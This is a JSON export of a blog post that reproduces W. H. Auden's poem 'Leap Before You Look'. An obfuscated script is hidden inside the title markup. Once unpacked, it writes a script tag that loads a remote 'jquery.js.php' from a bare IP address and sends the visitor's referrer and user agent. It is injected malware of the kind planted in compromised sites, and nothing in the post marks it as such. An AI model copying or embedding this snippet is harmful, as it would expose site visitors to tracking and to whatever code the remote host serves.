{"id":4293,"date":"2013-12-14T12:16:38","date_gmt":"2013-12-14T19:16:38","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4293"},"modified":"2013-12-12T12:38:41","modified_gmt":"2013-12-12T19:38:41","slug":"4293","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4293","title":{"rendered":"Leap Before You Look"},"content":{"rendered":"<p>&nbsp;<\/p>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"294.0799999999999\"><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/leap2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4294\" alt=\"leap2\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/leap2-196x300.jpg\" width=\"196\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/leap2-196x300.jpg 196w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/leap2.jpg 400w\" sizes=\"(max-width: 196px) 100vw, 196px\" \/><\/a><\/p>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"203.16480934753415\"><strong>Leap <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaarh|var|u0026u|referrer|ntfyn||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Before You Look<\/strong><\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"203.16480934753415\">~\u00c2\u00a0 W. H. Auden (1907-1973)<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"295.98240000000004\"><\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"295.98240000000004\">The sense of danger must not disappear:<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"299.4896\">The way is certainly both short and steep,<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"256.92800000000005\">However gradual it looks from here;<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"294.0799999999999\">Look if you like, but you will have to leap.<\/div>\n<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"316.3744\"><!--more--><\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"316.3744\">Tough-minded men get mushy in their sleep<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"296.8432\">And break the by-laws any fool can keep;<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"249.87520000000004\">It is not the convention but the fear<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"246.31360000000004\">That has a tendency to disappear.<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"264.72\"><\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"264.72\">The worried efforts of the busy heap,<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"273.71199999999993\">The dirt, the imprecision, and the beer<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"317.07680000000005\">Produce a few smart wisecracks every year;<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"144.8544\">Laugh if you can, but you will have to leap.<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"153.60960000000003\"><\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"167.1552\">The clothes that are considered right to wear<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"257.7712\">Will not be either sensible or cheap,<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"287.87519999999995\">So long as we consent to live like sheep<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"295.0143999999999\">And never mention those who disappear.<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"152.92640000000006\"><\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"133.2592\">Much can be said for social savoir-faire,<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"284.288\">But to rejoice when no one else is there<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"235.51200000000009\">Is even harder than it is to weep;<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"296.8544\">No one is watching, but you have to leap.<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"140.272\"><\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"132.58240000000004\">A solitude ten thousand fathoms deep<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"307.352\">Sustains the bed on which we lie, my dear:<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"297.7248\">Although I love you, you will have to leap;<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"273.02400000000006\">Our dream of safety has to disappear.<\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"273.02400000000006\"><\/div>\n<div dir=\"ltr\" data-angle=\"0\" data-font-name=\"Helvetica\" data-canvas-width=\"186.67519999999996\"><\/div>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Leap Before You Look ~\u00c2\u00a0 W. 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